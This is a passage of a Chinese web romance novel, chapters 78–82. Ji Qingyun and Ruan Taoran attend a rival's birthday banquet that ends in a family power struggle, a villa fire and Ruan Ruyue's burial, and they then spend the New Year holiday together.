两个人就这么窝在一起,开一包薯片,在寒冷的冬天里,窝在沙发里,随意空耗时间。 在一片暖色之中,人心也是暖暖的。 直到纪青云的手机微微震了震,她看了一眼消息,然后随意放在一边。 “怎么了?”阮陶然问道。 她能感觉到,纪青云周身的气压仿佛变了一瞬。 说过不骗她的,纪青云如实说道:“后天是孙绍祖的生日,他邀请我参加他的生日宴。” “去吗?”阮陶然问道。 “去。”纪青云语气淡淡。 顿了一下,继续问道:“你会不高兴吗?” “不会啊,生意上还是要有往来,过去的事情……”阮陶然倒是很大度。 “不会过去。”纪青云搂着阮陶然的手臂微微紧了紧,眸子之中,暗色翻涌而过。 她永远忘记不了的那场大雨,虽然事后没有查出来任何证据指向孙绍祖,但真相简直就是摆在纸面上的。 “阮如月已经对他提起了离婚诉讼……”纪青云继续说道,“这次,他恐怕要大出血了。” “只是,不知道她脑子清不清醒。” 离婚官司,是纪氏的律师团队帮忙打的,只要阮如月脑子清醒,这次绝对能让孙绍祖肉疼很久。 “如果她继续脑子不清晰,谁也救不了她。”阮陶然并没有把拯救阮如月当做是自己的责任。 但这也说不定,孙绍祖这人,很会哄女人开心,当时就把阮如月哄得团团转的。 “作为妹妹,你已经仁至义尽了。”纪青云的手轻轻按了按阮陶然的肩膀,以示抚慰。 “我可没有把她当做是家人……”阮陶然轻声嘀咕了一声,然后转头看着纪青云,“只有姐姐是我的家人。” 说来,她也是个没有家的人。 漂泊半生,终究是找到了相依相偎的人。 自己的小家是最重要的,那些亲戚,当然不配称之为她的家人。 纪青云只看到她的唇开开合合,温热的吐息落在脖颈上,仿佛带得周身的温度都微微升起。 眼前的距离逼近,两个人的鼻尖几乎接触在一起。 阮陶然似乎明白了什么,伸手取下了纪青云的眼镜。 浓烈的吻,就这么迎面而来,手里的眼镜跌落在地毯上,手腕被紧紧攥住。 指尖顺着指缝挤进来,十指紧紧交握。 背景是电视剧里的吵吵闹闹,她们听到彼此有些错乱的呼吸声。 但这个并没有持续很久,就缓缓分开,四目交汇,阮陶然凑过去轻轻在她的唇上啄了一下:“今晚吗?” 聚少离多的日子,两个人虽然住在了一间房里,但也只是抱着纯睡觉的关系。 似乎今晚,一切水到渠成…… 第79章 第 79 章 大庭广众之下调戏纪总 孙绍祖的生日宴办得极为盛大, 江城有名有姓的名流几乎都在邀请之列。 别墅门口,一辆一辆豪车驶过,停下, 衣着光鲜的人从车里下来,在互相的寒暄之中走入别墅。 孙绍祖站在门口迎宾, 一身利落的黑色西装,钻石袖口夺目闪烁,领口的温莎结透出儒雅, 脸上是意气张扬的笑。 在他身侧, 站着阮如月。 阮如月穿了件玫红色的旗袍, 金线钩织的牡丹花富丽堂皇, 外披了件狐毛披肩。 拥着狐毛, 旗袍勾勒出来玲珑的身段, 脸上画着精致的妆容, 红唇烈焰, 美得像是花中女王。 但这种天气,穿旗袍站在外面还是有些冷的,阮如月的鼻尖透着微微的红。 “孙太太好福气。”女眷拉着阮如月的手夸赞, “孙少玉树临风,也就孙太太这样的人, 能把握住他的心。” 阮如月脸上挂着得体的笑:“多谢夸奖,刘太太也是,前两天听说先生送了你一处庄园。” “不值一提, 不值一提。”这么说着, 唇角的笑容都咧到了耳朵根。 “法国的葡萄酒庄,酿的是白葡萄酒,下次我请几位尝尝, 自家庄园酿出来的酒,味道是不一样的。” “那下次可就等您做东了。”阮如月笑着和周围的人交际有来有回。 孙绍祖听到这边的声音,唇角也是忍不住微微上扬。 女人罢了,哄一哄这不也就好了? 虽说不怎么喜欢阮如月,但她从小到大也见了不少世面,这个孙太太的身份,还是驾轻就熟。 太太交际,也是很重要的一环。 孙绍祖和身边的人讲着寒暄的话,一辆黑色的迈巴赫在门口停下。 侍者迎上去开了门,先落下来的是一只踩着黑色细高跟的脚,鞋跟叩在地面上,一声轻响。 纪青云俯身,一身建材利落的深色西装勾勒出高挑的身形,抬手拢了拢鬓边的碎发,抬眼时候目光扫过四周,一股淡淡的无神的压迫感,似乎周遭的喧嚣都被她的气场压下去了几分。 “这位就是纪总吧……”那位刘太太小声说道,语气里忍不住有些艳羡,“年纪轻轻,身家不菲。” “身价不菲又能怎么样,哪有刘太太这样的好福气,有个疼你的先生。” “那是。”刘太太轻笑着,低声说道,“女人啊,就是不能太强势,有得必有失……” “你说是不是,孙太太?”她话锋一转,把话题抛给了阮如月。 “是,刘太太说得对。”阮如月迎合了一句,笑容却不达眼底。 抬眸看向纪青云的时候,拥在狐毛里的指尖忍不住收紧了,眸子里的艳羡,几乎要滴出水来。 什么女人就不能太强势,这些太太圈所谓的真理,她嘴上应和应和罢了。 女人,还是要把命运攥在自己手里。 就像是纪青云一样,手握说一不二的权柄,强势不好?简直离谱,有本事,谁不想强势。 阮陶然是和纪青云十指相扣走过来的。 她有些微微的紧张,这还是她第一次,和纪青云手牵手出现在这样的公众场合。 “你手心在出汗。”纪青云轻声说道。 “你笑话我。”阮陶然捏了捏她的手背,却没用多大的力气。 纪青云的唇角微微扬了扬,轻声道:“见惯了大场面,这也会紧张?” 说着,两个人已经走到了孙绍祖面前。 作为主人,他是要上来打招呼的。 “纪总好,没想到纪总真的莅临。”他客气了一句,看向阮陶然,“还有阮小姐……” “这位是灵南集团阮总。”纪青云淡淡打断了她的话。 孙绍祖眸子沉了沉,纪青云继续说道:“然后才是我的女朋友。” 纪青云言简意赅,从来不说废话,她从来不擅长花言巧语,只是用最简单的话,表明她的意思—— 阮陶然不是作为她的附庸女眷来的,她的身份,本来就是收到邀约的宾客。 她先是阮总,然后才是她的女朋友。 从前一个称呼来说,她们的地位是相等的。 阮陶然没想到她会这么说,稍稍回眸看向纪青云,纪青云的目光也投射过来,唇角微微扬起淡淡的弧度。 阮如月脸上得体的笑容已经压不住了,盯着阮陶然的眸子里,深色翻涌。 “小月。”孙绍祖招了招手,阮如月走过来,“你们姐妹好久没见了,今天也好好叙叙旧。” 当着宾客的面,必然是一团和气的。 阮陶然没想到阮如月也在,唇轻轻张开,缓声道:“孙太太好。” 她没有叫姐姐,她没想到,今天生日宴,阮如月会作为女主人出现在现场。 “跟我来。”纪青云拉着阮陶然的手,径直从一圈太太面前过去。 阮陶然不适合这种太太圈的交际,她也永远不需要,去做所谓的什么背后的女人。 阮陶然能感觉到,纪青云是在把她往她的社交圈子里面拉。 跟着纪青云见了一圈的人,江城的名流认识了七七八八。 而纪青云每一次的介绍,放在前面的那句就是“这是灵南集团的阮总”。 走了一圈,走得脚都有些酸了,阮陶然在宴会厅的沙发上坐了下来。 “累了?”纪青云也贴着她身边坐了下来。 “笑僵了。”阮陶然轻声道,“人好多,有些记不清楚。” “没事,慢慢来。”纪青云说着,伸手压在阮陶然的小腿上揉了一下。 “别——”阮陶然下意识往旁边躲了一下,“好多人看着。” “看着就看着,我们又不是见不得人。”纪青云语气漫不经心。 阮陶然不喜欢,她就把手收了回来,下一句话就多了几分认真的语气:“这样的场合,你还喜欢吗?” “我很喜欢。”阮陶然眼睛亮晶晶的。 “喜欢就好。”纪青云悬着的心放下去。 她始终担心,之前的不平等一直存在,始终有些小心翼翼。 这样的小心翼翼也完全落入阮陶然的眼中,她的心里软软的:“对不起,我以前是不是,反应过激了。” “是我没有注意到你的情绪……”纪青云只觉得,自己现在万分小心,也是活该的。 “纪总。”有人端着酒杯上前。 阮陶然推了她一把:“去吧,没关系,不用管我。” 她已经感受到了重视,而且已经累了一圈了,完全不想去笑了。 目光之中,阮陶然已经找了自己想找的人,端了杯果汁凑过去:“顾医生,好久不见。” 的确有段时间没见了,算起来,她能和纪青云和好,顾寄欢在其中发挥了很大的作用。 “好久不见。”顾寄欢端着小蛋糕的碟子递给阮陶然,“这个,今天糕点里面最佳。” 阮陶然:“……”这位也不和太太圈社交,也不搞别的,就在这儿吃蛋糕。 “饿死了,刚下手术就往这边赶,饭都没吃,开饭也不知道等到什么时候了……”顾寄欢小声抱怨了一句。 尝了一口,还真的挺好吃的。 阮陶然和顾寄欢待了一会儿,纪青云那边也总算是闲了下来。 拉着阮陶然的手,到了角落僻静的位置,轻轻用手背碰了碰她的脸颊:“喝酒了?” 阮陶然的酒量实在是差,纪青云一点都不放心。 “顾医生喝了,我就尝了一口。”阮陶然说道,摸了摸自己的脸,“很红吗?” “还好……”纪青云说着,唇角微微扬了扬,像是个熟透了的小桃子。 “以后别跟顾医生喝酒。”纪青云叮嘱了一句。 “怎么了?”阮陶然好奇,听起来像是有故事。 “她是个酒蒙子。”纪青云淡淡说了一句。 “陆时年告诉你的是不是?”旁边幽幽传来这么一句。 “完了,陆总完了……”阮陶然轻轻摇了摇头,忍不住噗嗤一声笑出来。 顾寄欢走远了,这里就只剩下她们两个人,远处喧哗错落,却无人注意到她们。 纪青云的目光落在阮陶然的脸上,阮陶然摸了摸自己的脸:“怎么了?有脏东西吗?” “没有。”纪青云淡淡把目光收回来。 却也就在侧脸的瞬间,有人凑过来,轻而快地在她脸颊上亲了一下。 “想亲我就直说。”阮陶然笑得像是偷到了蜜糖的小动物。 她平日里,在公共场合不会这么放诞。 果然是,一点酒都喝不得。 “其实是我想亲你了……”阮陶然小声嘀咕说道。 喝了点酒,什么话都往外说:“遥遥看着你,就想亲你了。” 在这种正经的场合,纪总格外惹眼,目光淡淡掠过去,偶有人交谈,只是微微颔首,清冷得像是碎冰撞玉,淡淡疏离,端着酒杯的指尖都显得精致好看。 一本正经,清冷得像是一段月光,眸子里的疏离,越发让人忍不住,想要吻上去。 “唔——”阮陶然的唇被堵住。 手腕上压着的力道骤然收紧,金丝眼镜之后,那双眸子清冷矜贵,唇角有极淡的笑容。 “是想要这样吗?”她的呼吸贴着耳垂传递过来。 阮陶然一瞬间清醒了,刚才,她在大庭广众之下调戏纪总,说不准,晚上回去要遭殃了。 好在,这会儿纪总到底没有太过咄咄逼人,只是吻了一下,就松开了。 指腹擦了擦阮陶然唇角的润色,微凉的指尖,却烫得阮陶然往后缩了缩。 “刚才,不是很神气吗?”纪青云轻轻笑了笑。 “放心,不会对你做什么的,这里很多人。”纪青云牵住了她的手。 缓声说道:“等到我们看完今天晚上这场大戏,再走。” 她今天可不是为了来给孙绍祖的生日宴会增光添彩的,算起来,时间也差不多了。 第80章 第 80 章 那不是我想要走的路 蛋糕推进来, 准备切蛋糕仪式的时候,阮陶然注意到,不知道什么时候, 小陆总也站到了她们身边。 顾医生手里端着一杯香槟,站在陆时年身边, 脸上笑容灿烂,像是什么都没有发生一样。 偏偏,陆时年看起来蔫巴巴的, 讨好地轻轻拽了拽顾寄欢的衣服, 然后被一把甩开。 阮陶然默默往前了半步, 挡在了陆时年和纪青云之间。 “放心, 陆总不是这样小气的人。”纪青云附手过来, 轻轻拢住阮陶然的手。 “手怎么这么凉……”阮陶然忍不住轻声道。 然后张开自己的手, 把纪青云的手回握回去, 宴会厅的暖气很足, 她的手还是冷得像是一块冰。 “老婆,我错了,我下次绝不胡说八道, 不……没有下次……”陆时年的声音很低,可怜巴巴看着顾寄欢。 “哼。”顾寄欢轻哼一声, 下颌微抬,表明自己的态度。 离得很近,纪青云和阮陶然大概能听个七七八八。 少有见意气风发的陆总这么吃瘪的时候, 纪青云的唇角忍不住扬了扬。 然后, 陆时年的下一句话,就让她唇角的笑容凝固了。 “老婆,我最会认错了, 和那些把老婆气走,然后还绷着面子的人可不一样。” “你别不理我,我真的会心碎的。” 纪青云:“……”她好像语气里面暗讽了什么。 阮陶然只觉得纪青云的手指从指缝里面挤进来,和她十指交握,紧紧抓住了,似乎是怕人跑了一样的力道。 孙绍祖在前方发言:“今天,多谢大家来参加我的生日宴会……” “各位都是孙某的朋友,孙某来江城的时间不久,以后要在江城立足,还要靠各位的大力支持。” “……” 对于上流权贵而言,生日宴可不简简单单是为了过生日,更多是交际的需要。 他话说到一半,忽然有人急匆匆从外面进来,凑近了些:“少爷。” 然后附到孙绍祖耳边,似乎说了些什么。 孙绍祖的眸色沉了沉,还没来得及说话,就听到外面的声音:“大哥的生日宴,怎么没有通知小弟啊?” 众人侧目看过去,来人穿宝石蓝的西装套装,看上去年纪不大,二十出头,意气风发的少年。 金发碧眼,一丝不苟的温莎结,剪裁得体的西装勾勒出挺拔的身形,五官深邃,混血儿的长相,脸上挂着得体的笑。 “你……”孙绍祖的眸色沉了沉,压在喉头的话还是压住了。 最后只是脸上挤出来笑容:“绍年,提前来,也不跟大哥说一声啊。” “各位,这位孙绍年,是我二弟。”他笑着跟大家介绍。 孙家的根基在宝岛,这些世家子弟露面的机会本就不多。 孙家,基本上活跃在表面上的二代就两个——孙绍祖和孙绍年。 孙绍年非婚生子,但很得家里父亲的宠爱,在宝岛的时候,风头一度超过孙绍祖。 但因为孙绍祖长子的身份,家里想往江城发展,还是把这个任务放给了孙绍祖。 对外的说辞,兄弟齐心,其利断金。 对内,谁不知道谁,这些世家大族斗得乌眼青。 孙绍年颔首,算是跟大家打了招呼,然后还是看向孙绍祖:“大哥,我这次来也是爸爸的意思,给你带了份礼物。” 他身边的人,连忙从公文包里拿出来文件,递过来。 “一座小岛,面积不大,是父亲送的。” “一起过户过来的游艇,是我送的。” “还有两艘渔船,是我妈的意思。” 一连串的贺礼,听上去价值不菲,孙绍祖的神色却变了变。 这意思是……想让他去度假,离开江城? “礼物我就先收了,谢谢绍年辛苦跑这一趟,那我们一起切蛋糕……”孙绍祖装作没听懂。 “大哥,蛋糕不急。”孙绍年的唇轻轻扬了扬,看向阮如月,“大嫂,有些话,是不是要你来讲?” “阮如月……”孙绍祖的语气一下子变得有些阴沉。 阮如月不疾不徐从人群里走出来,眸色从容镇定,看着孙绍祖,露出个灿烂的笑容出来。 “绍祖,父亲的意思是,以后我们可以周游世界,做恩爱夫妻,至于江城的事情,都交给绍年……” “啪——”孙绍祖抡圆的耳刮子就落在了她脸上。 发上的朱钗一下子坠落在地上,她整个身体朝后猛地趔趄,鬓发散乱下来。 “当着这么多宾客的面,你胡说八道什么?”他沉声。 他经营的一切,都是为了在江城立足,让父亲看到他的价值,现在离开,岂不是把蛋糕拱手让人? 阮如月的脸上清晰可见的掌印,目光灼灼,唇边却有些疯狂的笑容:“你可以看看,刚才那份合同后面的东西……” “什么东西?”孙绍祖迎着那疯女人的目光,居然有些前所未有的慌乱。 他赶忙把东西拿在手里,匆匆往后翻。 前面都是岛屿、游艇和渔船的过户文件……往后,他的手指忽然顿住…… “阮如月,你这个疯子……”说出口的话有些咬牙切齿。 “大哥也不想这些东西,公之于众,是不是?”孙绍年施施然整理了一下袖口,淡淡道,“切蛋糕吧,到时候了。” “咚——”猛的一脚踹在了桌子上,整个桌子漂移出去,上面的蛋糕倾泻下来。 宾客纷纷往后退了几步,纪青云把阮陶然护在了身后。 阮陶然却微微挣扎,挣出了手,往前两步,护在了阮如月面前:“孙绍祖,你想做什么?” 孙绍祖朝着阮如月一步一步逼近,手里攥着的蛋糕刀,指骨用力到微微发白。 “这是我的家事。”他根本不看阮陶然,阴沉沉的目光,盯着阮如月,仿佛要吃人一样。 冷声道:“滚开。” “孙绍年,你就眼睁睁看着今天闹大?”纪青云的声音沉沉飘过来。 孙绍年本来在边上看戏,此刻也只能挥了挥手,身后几个人上来,顿时围在了孙绍祖身边。 “大哥,我劝你听话。”皮鞋从蛋糕碎屑上踩过去,站在孙绍祖面前,他气势逼人,“不然,只会鱼死,没有网破。” “切蛋糕吧。”他语气淡淡。 看向众人:“不好意思,家事惊扰了诸位,过几日,在下会一一上门致歉。” 一一上门笼络关系,告诉大家,以后,在江城,孙家的代名词是孙绍年,孙绍祖,已经是过去式。 孙绍祖没敢轻举妄动,脸上沉得像是水,还是依照之前的流程,切了蛋糕,接受了生日祝福。 阮如月像是泄了气一样,身形一晃,阮陶然连忙扶住了她。 “还好吗?”阮陶然问道。 “好,好得不能再好了。”她语气里浸透着疯狂的笑意。 “你还真是……”阮陶然轻声道,“让我佩服了一次。” 这事,纪青云来之前就让她做过心理准备。 在知道孙绍祖就是企图伤害阮陶然的幕后黑手之后,纪青云计划这一天已经很久了。 她可以把孙绍祖从江城赶出去,但这样还不够,没了江城,还有海城、山城、龙城…… 对于孙少而言,只不过是换个起家的地点罢了。 她要做的是釜底抽薪,直接抽走孙家对孙绍祖的支持。 敌人的敌人就是朋友,她这段时间往来宝岛多次,和孙绍年见了好几次面。 这位,看上去二十出头的小孩子,骨子里也是个疯子。 今天的事情,阮陶然知道会发生。 但她不知道,阮如月居然也和孙绍年合作了。 落在孙绍年手里的把柄,多半是阮如月从孙绍祖这里偷出来的。 作为孙太太,作为一个没什么脑子被哄得团团转的女人,孙绍祖根本不会对她太过警惕。 “要不,你跟我走吧。”阮陶然提议说道。 “我之前说的话依然有效,公司里会有你的一席之地。” “不。”阮如月轻轻推开了阮陶然,“那是你的路,那不是我的路,我想要的,不是这些。” 她整理了妆容,戴上朱钗,依旧是那个光彩照人的孙太太的样子。 以大嫂的身份,陪在孙绍年身边,周旋整个宴会场。 “走吧。”纪青云走过来,握住了阮陶然的手。 尘埃落定,孙绍年得志,不会给他大哥继续翻身的机会。 至于,阮如月……阮陶然多看了她两眼。 只看到衣衫鬓影里,明媚鲜艳的女人脸上挂着得体的笑,隐隐有掌印还留在脸上,但是艳丽得像是一朵牡丹花。 从小,她就被当做交际花培养,此刻,她在最不得体的时候,丝毫没有显现出来一丝狼狈。 她想要的是什么? 孙家少奶奶的身份? 可孙绍祖倒了,她还能依靠谁? 孙绍年? 他看起来…… 阮陶然坐在回去的车上,脑海里不断回放着阮如月的脸。 直到到了家门口,她抬步下车,有什么东西,咔哒一声,落在地上。 就在她的脚边,落下来一枚银色的U盘。 “这是……”她俯身捡起来。 脑海之中回想的画面一一闪过,唯一有机会塞到她身上的人是——阮如月。 “怎么了?”纪青云走过来,伸手接过她手里的U盘。 U盘很大,读取的进度条往前飞驰,一个一个文件文档浮现出来。 连看了好几个,阮陶然心里忍不住有些骇然:“都是孙家的……机密……” 不止有孙绍祖上次毁车的所有聊天记录,还有孙家一些黑产的账单,高清监控录像,内部文件…… 有这份文件,送到检察机关手里,孙家是真的完了。 “嗡嗡——”纪青云放在桌上的手机震动起来。 “喂。”接通电话,听得里面的声音,纪青云垂眸,沉声道,“好,知道了。” 挂了电话,她看向阮陶然:“有件事情我要对你说,但你要做一下心理准备。” 她似乎是思考了一下措辞,才继续说道:“宴会结束之后,孙家别墅起火。” “火势很猛,根据目击者描述,起火点不止一处。” “现在火势还在扑救过程之中,目前,孙绍祖和阮如月不知所踪……” 阮陶然放在桌上的手指微微收紧。 她恍然明白了,那不是我想要走的路。 我被他迫害至此,不想让他余生只在漫漫监牢里度过,如果有报应,那应该是他要下地狱。 阮陶然从未想过,那个在她面前耀武扬威,生性高傲的阮如月,会悲烈至此。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-84 第81章 第 81 章 新年快乐。 “你们的意思是, 这件事你们就不管了?”阮陶然只觉得自己肯定是出现了幻觉,才听到阮峰夫妻俩这样的话。 “姐,你最好也别管了, 免得到时候惹一身骚。”阮龙成说着,亲手给阮陶然倒了杯茶, “姐,喝茶,喝茶。” 他脸上是谄媚的笑, 一口一个姐, 叫得亲切无比。 顺带着也给纪青云倒了茶:“纪姐姐, 也喝茶, 纪姐姐之前可能不怎么认识我, 今天来也是第一次正式会面。” “对啊, 纪总, 小龙很有本事, 在国外留学回来的,无论是能力,还是亲缘上来说, 都指望您以后多多栽培了。” 饶曼嘴上说着漂亮话,手肘轻轻碰阮峰, 想让他也跟着说几句好话。 但是阮峰面色变了变,最后还是没能说出来,只是附和着说:“是, 是……” “我现在正在说阮如月的事情, 希望你们不要岔开话题。”阮陶然打断了他们的谄媚。 面前这一家三口,今日对她的亲密,是她前二十多年从来没有体验过的。 就是如此, 当你变强的时候,善意和温暖就一下子全都吻了上来。 “她的事情啊……”阮龙成的语气漫不经心,“她嫁出去了,后事当然是孙家来管。” “叔叔和婶婶,也是这个意思?”阮陶然看向两位长辈。 饶曼的表情僵了一下,似乎有些为难,阮峰的眸子也顿了一下,躲开了阮陶然的眼睛。 饶曼见阮峰说不出什么来,连忙说道:“往日,小月对你多有苛待,我们也是看在眼里,背地里也曾教训过她的。” “如今,她一错再错,昨日我已经和你叔叔谈过,这个女儿,我们只当是没有过。” “阮家的女儿,只有然然你一个。” “然然你虽然不是我们亲生,却也是我们养大的,你就是我们的亲女儿,阮家唯一的女儿。” 她在尽力讨好阮陶然,只是这样的话,越发让阮陶然觉得,心都掉到了冰窖里面。 “那这件事就到此为止吧。”阮陶然起身,纪青云也跟着站起身。 阮陶然抬步就往外走,话不投机半句多,她已经忍了好一会儿了。 阮龙成眸子里一急,连忙跟过来,一路说:“姐,她以前欺负你,这也算是罪有应得,我们的态度已经很明确了。” “姐,你消消气,我保证,以后这个家里没有第二个阮小姐。” “够了。”阮陶然定住脚步,打断了他的话,抬眸看过来,“她是你姐姐,你就这样的态度。” “让她在殡仪馆过这个年,尸骨未寒,就众叛亲离?” 阮龙成一下子怔住了,他的表态不对吗?他不是站在阮陶然的立场上,在针对阮如月吗? 昨夜知道今天阮陶然和纪青云回来,阮家一家三口开了个紧急会议。 他们不知道阮陶然是什么意思。 只是下定了决心,无论是道德绑架也好,也是亲情唤回也罢,一定要把阮陶然和他们栓在一条船上。 纪青云上次带阮陶然出席孙绍祖的生日宴,两人的关系已经是整个江城上流圈子公开的状态了。 有纪青云做后盾,他们争不过阮陶然,与其最后被扫地出门,不如现在放低姿态讨好。 而且,换个思路来说,未免不是好消息。 阮家跟着纪青云,以后说不准就飞黄腾达了。 阮陶然这条大腿,他们得抱紧了。 所以,今天阮陶然一来,他们就做足了亲情满满的姿态。 却没想到,阮陶然来提的第一件事,是阮如月的后事。 这件杀人之后自焚的案子在孙家的推动之下,只用了半个月就在年前盖棺定论。 阮如月的尸骨被烧得面目全非,如今还停在殡仪馆里面。 孙绍祖的尸骨已经被带回宝岛,但孙家人并没有管阮如月的意思。 杀人凶手,他们当然不可能再认这个儿媳。 阮陶然提起来阮如月的事情的时候,阮龙成第一想法就是——试探,阮陶然在试探他们对于阮如月的看法。 对于这个姐姐,阮龙成没什么感情,他从小被送出国留学,相处的时间少之又少。 所以,几乎毫不犹豫,就选择了抛弃阮如月,站在了阮陶然这边,替阮陶然高兴,因果报应。 阮陶然越听越觉得心寒。 到底是亲生女儿,到了这个关头,这一家三口,没一个站出来的。 反而在劝她不要趟这趟浑水。 孙家肯定记恨阮如月,现在出面收敛尸骨,就是跟孙家站在对立面上,这样不好。 利益得失,算得明明白白,可唯独,没有一丝一毫的情分。 阮陶然只觉得胸口里憋着一口气,上了车,车开出阮家别墅,这口气还憋着没下去。 纪青云没说话,只是握住了阮陶然的手。 阮陶然轻声道:“我想……” “想做就去做。”纪青云淡淡说道,“我从来不在意什么,和孙家站在对立面。” 大年二十九这天,阮如月总算是下了葬。 下了一层薄薄的雪,墓碑上的字迹被雪缓缓掩埋,白菊花上冻了一层的冰霜,墓园里,呼呼的风声。 阮陶然打了一把黑伞,站在墓碑前面看了很久很久。 她从未有什么因果报应的快感,只是心里有种说不出来的苍凉。 可这一切,似乎又是命中注定。 当阮如月把自己的命运挂在父亲弟弟,甚至是一个不靠谱的男人身上开始,这一切,好像已经注定了。 只是,阮如月最后选择自己给自己画上了那个血色的句号。 街上的人,热热闹闹准备新年。 这里,一片荒寂,但阮陶然好似听到阮如月的声音,她说——你看,我终于赢了一次。 如今,纪家真正掌权的就是纪青云,无数原本应该送到老宅的年礼,都送到了隆华天域。 热热闹闹,摆了半个客厅。 管家正在登记造册入库,家里一片红彤彤的装饰,入门的玄关挂了红色福,就连沙发上的抱枕,都换了红丝绒的。 阮陶然和纪青云一起回来,开门的时候,纪撞撞就喵呜喵呜摇着尾巴上去迎接。 “阮总,纪总……”管家迎过来说到,“这些年礼都已经登记好了,这是名册。” “辛苦了。”纪青云接过来,送了一个红包出去,“新年快乐。” 整个管家团队都放了假,整个家里就只剩下了纪青云和阮陶然两个人。 或者说,纪青云一个人。 因为阮陶然晚上临时开了一场灵南集团的董事会。 孙家那边,到底还是表示了自己的愤怒,对阮家这边的生意下了手。 这场会议是远程会议,阮陶然并没有表示太多自己的意见,刚刚接手工作,主要还是旁听居多。 最后商量了很久,得出来的结论是——暂避锋芒,先不要惹孙家,免得对面发疯,就吃了这个亏算了。 最后,有人专门问道:“阮总,这件事情,您觉得应该怎么办?” 会议室内一下子就恢复了一片寂静,所有人,都在等着阮陶然的意思。 阮陶然怔了一下,微微有些意外。 却一想,也就明白了,她手里股份最多,她现在,理所应当就是话事人了。 这种掌控权力的感觉,还挺不错。 “我同意大家的看法。”阮陶然淡淡说道,“会议的结束,祝大家新年快乐。” “阮总新年快乐。” “新年快乐。” 会议室内大家附和着,在祝福声里面,关掉了这场会议。 阮陶然站起身,推开书房的门,就闻到一股熟悉的香味,从厨房里面飘出来。 厨房里,纪青云只穿了件黑色的针织衫,围了个米白色的小猫图案的围裙,在厨房里忙忙碌碌。 腰间微微一紧,是有人从后面把她搂住了。 纪青云的唇角扬了扬,并不影响她手里的动作:“开完会了?” “嗯。”阮陶然点了点头,踮起脚尖,把下颌压在纪青云的肩膀上往前看,“怎么在做饭啊?” 实在是让她太意外了,纪青云,和厨房做饭,完全是不能放在一起的两个词。 “厨师都放假了,当然还得吃饭啊。”纪青云道,“忙人忙工作,闲人当然就做饭了。” “你笑话我。”阮陶然轻哼一声,平日里也不知道谁是忙人,忙得不见人。 “没有,只是觉得,这样也挺好。”纪青云淡淡说道。 偷偷学了很久的菜,然后在一个特殊的场合,精心端出来。 这样的成就感,也是她之前没有体会过的。 好像,她和阮陶然在一起之后,正在一点点拓宽自己人生的边界。 “猜一猜做了什么好吃的?”纪青云语气淡淡。 虽然语气淡淡,很明显期待让人猜的样子。 “不知道啊,我可猜不出来。”阮陶然给足了情绪价值,“快给我看看,大厨的手艺,肯定不错。” 纪青云挪了身位去翻锅里的排骨,背后抱着她的人没有松手,像一只树袋熊跟着她左右移动。 “笑什么?”纪青云听到她的笑声。 “是话梅小排啊……”阮陶然抱着纪青云的手紧了紧,“姐姐,好喜欢你啊。” “是喜欢我,还是喜欢排骨?”纪青云忍不住笑了笑。 放下手里的铲子,转身过来,两个人就是面对面的姿势,垂眸,轻轻的吻落在了阮陶然的唇上。 “喜欢姐姐,排骨算什么,姐姐把我放心上,我当然最喜欢姐姐了……”阮陶然斩钉截铁,给出了自己的答案。 “花言巧语。”纪青云伸手轻轻点了点她的鼻尖,“好了,准备准备吃饭了。” “开瓶酒吧。”阮陶然高高兴兴说道。 “就你的酒量……”纪青云忍不住吐槽了一句。 “高兴嘛。”阮陶然凑上去在纪青云的唇上轻轻啄了一下,“这是我们在一起过的第一个年。” 以后,还会有很多个。 只是,每次都面对一个醉猫的话,纪青云觉得自己也有些招架不住。 第82章 第 82 章 这件事,我就当是忘了…… 车停在Seraphine门口, 远远的,阮陶然就看见门口簇拥着的人群。 陈欢站在最前面,低声和身边的万星春说些什么, 抬眼看到车过来,连忙迎了上来。 亲自开了车门:“阮总, 早上好。” “早上好,新年好。”阮陶然下车,从车里拎出来一个红色的包, 包里面全都是红包。 厚厚一叠的红包, 一个个散出去, 捏到红包的厚度, 所有人脸上都是灿烂的笑容。 “新年好。” “新年好。” “开工愉快。” 一片热热闹闹的气场。 “六组的办公室换了位置, 这边。”陈欢主动上前引路。 之前, 六组的办公室在最偏僻的位置, 现在位于最中央, 最宽阔的办公室,窗明几净,桌子上摆着鲜花。 阮陶然的办公位挨着万星春的位置。 热热闹闹人潮涌过来问好的时候, 万星春倒也不往前挤,回到自己的位置坐下, 看着这边的热闹,轻轻微笑。 无奈轻轻摇了摇头,看到了角落里有些尴尬的人。 “枫姐、晨晨, 你们站在这儿干什么?”她抬手招呼了一下。 “组长……”他们两个面色有些为难, 欲言又止,眸子里满都是纠结。 似乎是明白他们的心事,万星春笑了一下说到:“红包没少你们的, 别的也不会少你们的,好好干活,放宽心。” 阮陶然不是心胸狭窄的人,不会因为他们之前的针对排挤,现在就对他们怎么样。 问好和要红包的人群都散了,阮陶然才松了口气,和万星春搭上了话:“春春姐。” “荣归故里,感觉怎么样?”万星春话语里浸透着淡淡的揶揄。 “你可别笑话我了,什么荣归故里啊……”阮陶然有些哭笑不得。 “真的不做高管,要退下来做设计师?”万星春有些不敢置信。 她是过完年之后立刻就收到的消息,阮陶然会回到Seraphine继续设计师工作,依旧归入六组之中。 如今阮陶然在集团的地位,还真是来了个大佛。 “不做了。”阮陶然摇了摇头,“我想明白了,自己想要的到底是什么。” 站在高位,手握权力,固然让人心驰神往,她也是个很有野心的人,但仔细去想,她野心所指的方向并不是哪里。 还是她回国时候的愿望,她希望带着Seraphine再创巅峰。 至于集团那边,纪青云帮她筛选聘用了新的职业经理人,全权负责集团的管理事务。 她依旧保有最大董事的身份,但只是个闲职,不再担任高管职位。 “欢迎回家。”万星春笑着,朝她伸出手。 指尖微微一碰,是温暖的温度,一如外面灿烂的阳光,阮陶然道:“谢谢。” “好了,欢迎仪式完了。” “这些。” 万星春从自己桌面上搬出来一堆的文件,放在阮陶然面前。 “下季度主打的设计稿,陈总说还有些瑕疵,还可以修改。” “还有,下季度的陈列布置,关于你的展柜的方案在里面。” “六组最近接了几个联名,分了两个给你负责,接洽的人会拉群。” “还有……” “春春姐。”阮陶然的眉心都皱起来了,“我觉得你这不是欢迎回家,是欢迎回栏了,欢迎我回来当牛马是吗?” “没办法啊,现在六组忙得很,我也有一堆工作没做完。” “开工是要忙一点啦,阮设计师,赶紧进入角色啊。” 开工的第一天,做自己熟悉的工作还算是得心应手,除了……居然有些淡淡的分离焦虑。 过年期间,阮陶然和纪青云都放了半个月的假,倒也没有做什么事情,甚至很少出门,只是两个人在家里,看电影、看书、逗猫、玩游戏、拼拼图……时间居然就这么虚度过去。 十几天的时间,仿佛是眨眼一瞬间就过去了。 